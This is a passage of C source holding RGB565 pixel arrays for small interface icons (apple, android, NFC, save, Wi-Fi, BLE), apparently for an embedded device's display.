0x2068,0x50D3,0x793B,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x60F6,0x306A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x68F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x915F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x6918,0x793B,0x6919,0x815E,0x815E,0x815E,0x895F,0x895F,0x895F,0x895F,0x815E,0x815E,0x713B,0x7119,0x711A,0x0802,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x6918,0x793D,0x2869,0x1846,0x1846,0x2869,0x793C,0x895F,0x815E,0x388D,0x1846,0x1846,0x2047,0x6919,0x711B,0x0802,0x408E,0x6918,0x60F5,0x48D2,0x308C,0x1846,0x0001,0x0000, - 0x6918,0x895F,0x7119,0x388E,0x308B,0x408E,0x813D,0x895F,0x895F,0x48B1,0x306B,0x388D,0x60F7,0x895F,0x711A,0x0802,0x50D3,0x915F,0x895F,0x895F,0x895F,0x813D,0x60F7,0x306B, - 0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x711A,0x0802,0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918, - 0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918,0x0801,0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918, - 0x48B1,0x895F,0x895F,0x815E,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x813D,0x895F,0x895F,0x58F5,0x0801,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6918, - 0x306B,0x895F,0x895F,0x813D,0x408E,0x50D3,0x713B,0x813D,0x793C,0x60F5,0x388D,0x711A,0x895F,0x895F,0x40AF,0x0823,0x793B,0x895F,0x813D,0x793C,0x793C,0x60F6,0x793B,0x6918, - 0x1024,0x713B,0x895F,0x895F,0x6919,0x2048,0x1024,0x1025,0x1024,0x1846,0x58F5,0x895F,0x895F,0x815E,0x2047,0x2869,0x895F,0x793B,0x1847,0x1023,0x1023,0x286A,0x813D,0x6918, - 0x0000,0x40B0,0x895F,0x895F,0x895F,0x813D,0x60F6,0x50D2,0x58F5,0x793C,0x895F,0x895F,0x895F,0x60F5,0x0001,0x50D3,0x895F,0x813D,0x50D2,0x40AF,0x50D2,0x793C,0x895F,0x68F7, - 0x0000,0x0822,0x60F7,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793B,0x1845,0x2047,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7, - 0x0000,0x0000,0x1024,0x60F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x1847,0x0823,0x6918,0x915F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58F5, - 0x0000,0x0000,0x0000,0x0801,0x388D,0x711A,0x895F,0x895F,0x895F,0x793C,0x48B0,0x0823,0x1024,0x60F6,0x711A,0x50D2,0x40AF,0x58D4,0x793C,0x895F,0x895F,0x895F,0x895F,0x48B0, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x388D,0x60F6,0x40B0,0x1025,0x0802,0x308C,0x711A,0x50D3,0x1825,0x1825,0x1846,0x1025,0x2047,0x68F7,0x895F,0x895F,0x815E,0x286A, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x60F6,0x895F,0x711A,0x40AF,0x6918,0x813D,0x815E,0x793C,0x58F5,0x40AF,0x813D,0x895F,0x7119,0x0823, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x58D4,0x895F,0x813E,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x815E,0x895F,0x388D,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x6919,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0801,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x60F6,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x50D2,0x0802,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x388D,0x7119,0x895F,0x895F,0x815E,0x60F7,0x2869,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x388E,0x58F5,0x306B,0x0801,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - - - - - const unsigned short h[144] = { - 0x895F, 0x91BF, 0xA2BF, 0x899F, 0x893F, 0x895F, 0x895F, 0x893F, 0x899F, 0xA2BF, 0x91BF, 0x895F, - 0x893F, 0xAB1F, 0xF73F, 0xD59F, 0xA2DF, 0x897F, 0x897F, 0xA2DF, 0xD59F, 0xF73F, 0xAB1F, 0x893F, - 0x893F, 0xAB5F, 0xFFFF, 0xFFFF, 0xF79F, 0xD57F, 0xD57F, 0xF79F, 0xFFFF, 0xFFFF, 0xAB3F, 0x893F, - 0x895F, 0x9A1F, 0xDDDF, 0xFFDF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFDF, 0xDDDF, 0x9A1F, 0x895F, - 0x895F, 0x91DF, 0xCD3F, 0xFFDF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFDF, 0xCD1F, 0x91DF, 0x895F, - 0x893F, 0xAB3F, 0xFFDF, 0xFFFF, 0xFFFF, 0xE63F, 0xE63F, 0xFFFF, 0xFFFF, 0xFFDF, 0xAB3F, 0x893F, - 0x893F, 0xAB3F, 0xFFDF, 0xFFFF, 0xFFFF, 0xE65F, 0xE65F, 0xFFFF, 0xFFFF, 0xFFDF, 0xAB1F, 0x893F, - 0x895F, 0x91BF, 0xCCDF, 0xFFBF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFBF, 0xCCDF, 0x91BF, 0x895F, - 0x895F, 0x9A3F, 0xDDFF, 0xFFDF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFDF, 0xDDFF, 0x9A3F, 0x895F, - 0x893F, 0xAB5F, 0xFFFF, 0xFFFF, 0xF75F, 0xCD3F, 0xCD3F, 0xF77F, 0xFFFF, 0xFFFF, 0xAB3F, 0x893F, - 0x893F, 0xAAFF, 0xF71F, 0xD55F, 0xA2BF, 0x895F, 0x895F, 0xA2BF, 0xD55F, 0xF71F, 0xAAFF, 0x893F, - 0x895F, 0x91BF, 0x9A7F, 0x897F, 0x893F, 0x895F, 0x895F, 0x893F, 0x897F, 0x9A7F, 0x919F, 0x895F - }; - - const unsigned short apple[576] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x308C,0x50D3,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x60F5,0x895F,0x813D,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x895F,0x895F,0x60F6,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1025,0x793C,0x895F,0x813D,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2869,0x815E,0x7119,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x286A,0x50D2,0x50D3,0x388D,0x1825,0x1024,0x2869,0x1024,0x2047,0x40B0,0x58D4,0x48B1,0x2869,0x0001,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x1846,0x60F7,0x895F,0x895F,0x895F,0x895F,0x793D,0x60F6,0x50D2,0x6918,0x815E,0x895F,0x895F,0x895F,0x815E,0x58D4,0x0823,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x7119,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x306B,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x408E,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x1023,0x793B,0x895F,0x895F,0x50D2,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x50D2,0x6918,0x915F,0x60F6,0x0001,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x2048,0x815E,0x895F,0x895F,0x2869,0x2047,0x58D4,0x60F7,0x813D,0x895F,0x793C,0x58F5,0x48B1,0x0822,0x50D3,0x895F,0x388C,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x286A,0x895F,0x895F,0x895F,0x388E,0x0000,0x0000,0x1024,0x6918,0x895F,0x48B1,0x0001,0x0000,0x0001,0x60F7,0x895F,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x286A,0x895F,0x815E,0x68F7,0x793B,0x40AF,0x388E,0x6918,0x813D,0x793B,0x815E,0x50D3,0x388D,0x58D4,0x713B,0x6918,0x306B,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x2048,0x895E,0x895F,0x388D,0x58F5,0x895F,0x895F,0x895F,0x793B,0x60F6,0x895F,0x895F,0x895F,0x813D,0x306B,0x60F6,0x50D3,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x1024,0x793C,0x895F,0x48D1,0x0822,0x60F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2869,0x1023,0x793B,0x813D,0x2048,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0001,0x60F7,0x895F,0x793B,0x1024,0x286A,0x58F5,0x306B,0x48B0,0x50D2,0x408E,0x388D,0x58F5,0x0001,0x388D,0x895F,0x895F,0x713B,0x286A,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x388E,0x895F,0x895F,0x58F5,0x1024,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x2047,0x793B,0x895F,0x895F,0x895F,0x793C,0x1024,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x713B,0x895F,0x895F,0x60F7,0x2069,0x0802,0x0000,0x0000,0x0000,0x0822,0x306B,0x713B,0x895F,0x895F,0x895F,0x895F,0x58D4,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x388D,0x895F,0x895F,0x895F,0x815E,0x7119,0x58F5,0x58D4,0x58F5,0x711A,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x1846,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0001,0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x915F,0x915F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x388D,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x60F7,0x895F,0x895F,0x895F,0x895F,0x793B,0x7119,0x793C,0x895F,0x895F,0x895F,0x895F,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x48B1,0x68F7,0x58D4,0x306B,0x1023,0x0801,0x1825,0x388E,0x60F5,0x60F7,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - const unsigned short androi[576]= { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1024,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2048,0x1825,0x1024,0x2048,0x2048,0x1024,0x1845,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x6919,0x793C,0x895E,0x815E,0x793C,0x6918,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x308B,0x793C,0x815E,0x895F,0x895F,0x895F,0x895F,0x815E,0x793C,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1846,0x793C,0x793B,0x48B1,0x895F,0x895F,0x895F,0x895F,0x48B1,0x793C,0x793C,0x1825,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x895F,0x895F,0x813E,0x895F,0x895F,0x895F,0x895F,0x813D,0x895F,0x895F,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x813D,0x58D4,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x286A,0x50D3,0x2047,0x40AF,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x58D4,0x408E,0x2048,0x50D3,0x2869,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0801,0x6919,0x917F,0x58F5,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x60F6,0x917F,0x6918,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0802,0x711A,0x915F,0x60F6,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x60F7,0x915F,0x6919,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0802,0x711A,0x915F,0x60F6,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x60F7,0x915F,0x6919,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0802,0x711A,0x915F,0x60F6,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x60F7,0x915F,0x6919,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0802,0x711A,0x915F,0x60F6,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x60F7,0x915F,0x6919,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0802,0x711A,0x915F,0x60F6,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x60F7,0x915F,0x6919,0x0001,0x0000,0x0000, - 0x0000,0x0000,0x0001,0x60F5,0x895F,0x48D2,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F7,0x50D2,0x895F,0x58D4,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x1024,0x2869,0x1023,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x60F6,0x1023,0x2869,0x1023,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x50D3,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x48D2,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x286A,0x58F5,0x895F,0x815E,0x40AF,0x40AF,0x815E,0x895F,0x58D4,0x286A,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x813D,0x1025,0x1846,0x815E,0x895F,0x388D,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x40AF,0x895F,0x813D,0x1825,0x1846,0x815E,0x895F,0x388E,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388C,0x895F,0x793C,0x1024,0x1025,0x793C,0x895F,0x308B,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x388D,0x2869,0x0000,0x0000,0x286A,0x388C,0x0802,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - - - - - const unsigned short nfc1[144] = { - 0x0000,0x0000,0x0000,0x0000,0x0001,0x0823,0x0823,0x0001,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x286A,0x60F6,0x713B,0x713B,0x60F6,0x286A,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x48B0,0x895E,0x895F,0x895F,0x895F,0x915F,0x895E,0x48B0,0x0000,0x0000, - 0x0000,0x286A,0x895E,0x895F,0x895F,0x895F,0x793C,0x6918,0x895F,0x895E,0x286A,0x0000, - 0x0001,0x60F6,0x895F,0x815E,0x813D,0x50D2,0x60F7,0x388C,0x815E,0x895F,0x60F6,0x0001, - 0x0823,0x711A,0x895F,0x60F6,0x50D3,0x40AF,0x60F6,0x388D,0x793C,0x895F,0x711A,0x0823, - 0x0823,0x711A,0x895F,0x60F6,0x50D3,0x40AF,0x58F5,0x388D,0x793C,0x895F,0x711A,0x0823, - 0x0000,0x60F5,0x895F,0x815E,0x813D,0x50D2,0x60F7,0x388D,0x815E,0x895F,0x60F5,0x0000, - 0x0000,0x286A,0x815E,0x895F,0x895F,0x895F,0x793C,0x6918,0x895F,0x815E,0x286A,0x0000, - 0x0000,0x0000,0x40AF,0x815E,0x895F,0x895F,0x895F,0x915F,0x815E,0x40AF,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x2869,0x58F5,0x711A,0x711A,0x58F5,0x2869,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000 - }; - - - const unsigned short save[144] = { - 0x306B,0x58D4,0x2869,0x286A,0x58D4,0x58D4,0x50D3,0x1825,0x40AF,0x306B,0x0000,0x0000, - 0x58D4,0x915F,0x408E,0x48B0,0x895F,0x895F,0x815E,0x2068,0x6918,0x793C,0x1846,0x0000, - 0x58D4,0x895F,0x388E,0x48B0,0x895F,0x895F,0x815E,0x2068,0x68F7,0x915F,0x60F7,0x0823, - 0x58D4,0x895F,0x388E,0x40AF,0x815E,0x813D,0x793C,0x2048,0x68F7,0x895F,0x895F,0x48B0, - 0x58D4,0x895F,0x48B0,0x1024,0x2048,0x2048,0x2047,0x1024,0x6919,0x895F,0x895F,0x58D4, - 0x58D4,0x895F,0x813D,0x6919,0x6919,0x6919,0x6919,0x711A,0x895E,0x895F,0x895F,0x58D4, - 0x58D4,0x895F,0x895F,0x915F,0x915F,0x915F,0x915F,0x895F,0x895F,0x895F,0x895F,0x58D4, - 0x58D4,0x895F,0x6918,0x40AF,0x40AF,0x40AF,0x40AF,0x40AF,0x40AF,0x6918,0x895F,0x58D4, - 0x58D4,0x895F,0x408E,0x2047,0x40B0,0x40B0,0x40B0,0x40B0,0x2047,0x408E,0x895F,0x58D4, - 0x58D4,0x895F,0x408E,0x2048,0x48B0,0x40B0,0x40B0,0x48B0,0x2048,0x408E,0x895F,0x58D4, - 0x58D4,0x915F,0x408E,0x2047,0x40AF,0x40AF,0x40AF,0x40AF,0x2047,0x408E,0x915F,0x58D4, - 0x286A,0x50D3,0x2048,0x2869,0x50D3,0x50D3,0x50D3,0x50D3,0x2869,0x2048,0x50D3,0x286A - }; - - - const unsigned short savewifi[576]= { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x2047,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0801,0x2047,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x50D2,0x815E,0x308C,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x388C,0x815E,0x48B1,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x917F,0x60F6,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x60F6,0x915F,0x40B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B0,0x915F,0x60F5,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0001,0x60F6,0x915F,0x48B0,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x48B1,0x915F,0x60F6,0x0001,0x0000,0x0000,0x0000,0x0000, - 0x0823,0x50D2,0x60F7,0x60F7,0x60F7,0x813D,0x895F,0x793B,0x60F7,0x60F7,0x60F7,0x60F7,0x60F7,0x60F7,0x60F7,0x60F7,0x793B,0x895F,0x813D,0x60F7,0x60F7,0x60F7,0x50D2,0x0822, - 0x2869,0x895E,0x895F,0x915F,0x915F,0x895F,0x895F,0x895F,0x915F,0x915F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2048, - 0x2869,0x815E,0x815E,0x50D2,0x40AF,0x793C,0x895F,0x6919,0x40AF,0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2869, - 0x2869,0x895E,0x793C,0x0823,0x0000,0x60F6,0x915F,0x40AF,0x0000,0x2068,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2069, - 0x2869,0x815E,0x815E,0x388E,0x306A,0x711A,0x895F,0x60F6,0x2869,0x48B1,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2069, - 0x2869,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x2068, - 0x1024,0x60F7,0x793C,0x895F,0x895F,0x793D,0x713B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x713B,0x813D,0x895F,0x895F,0x793C,0x60F6,0x1024, - 0x0000,0x0801,0x48B0,0x895F,0x895F,0x60F6,0x1024,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x1024,0x60F7,0x895F,0x895F,0x388D,0x0001,0x0000, - 0x0000,0x1023,0x711A,0x815E,0x815E,0x813D,0x2869,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x813D,0x815E,0x895E,0x60F6,0x0001,0x0000, - 0x0000,0x0001,0x2047,0x2869,0x2869,0x2048,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0823,0x2068,0x2069,0x2869,0x1846,0x0000,0x0000 - }; - - - - - - - const unsigned short ble_ative[144] = { - 0x895F,0x895F,0x895F,0x895F,0x895F,0x9A5F,0x91FF,0x893F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x895F,0x895F,0x893F,0x897F,0xDDBF,0xE69F,0xAB3F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x895F,0x91DF,0xA2BF,0x919F,0xE63F,0xF75F,0xF71F,0xCCDF,0x91DF,0x895F,0x895F, - 0x895F,0x893F,0xA2DF,0xEF1F,0xBC3F,0xE65F,0xCCDF,0xD57F,0xFF9F,0xA2BF,0x893F,0x895F, - 0x895F,0x895F,0x897F,0xBC3F,0xF75F,0xFF9F,0xEEBF,0xF71F,0xBC3F,0x897F,0x895F,0x895F, - 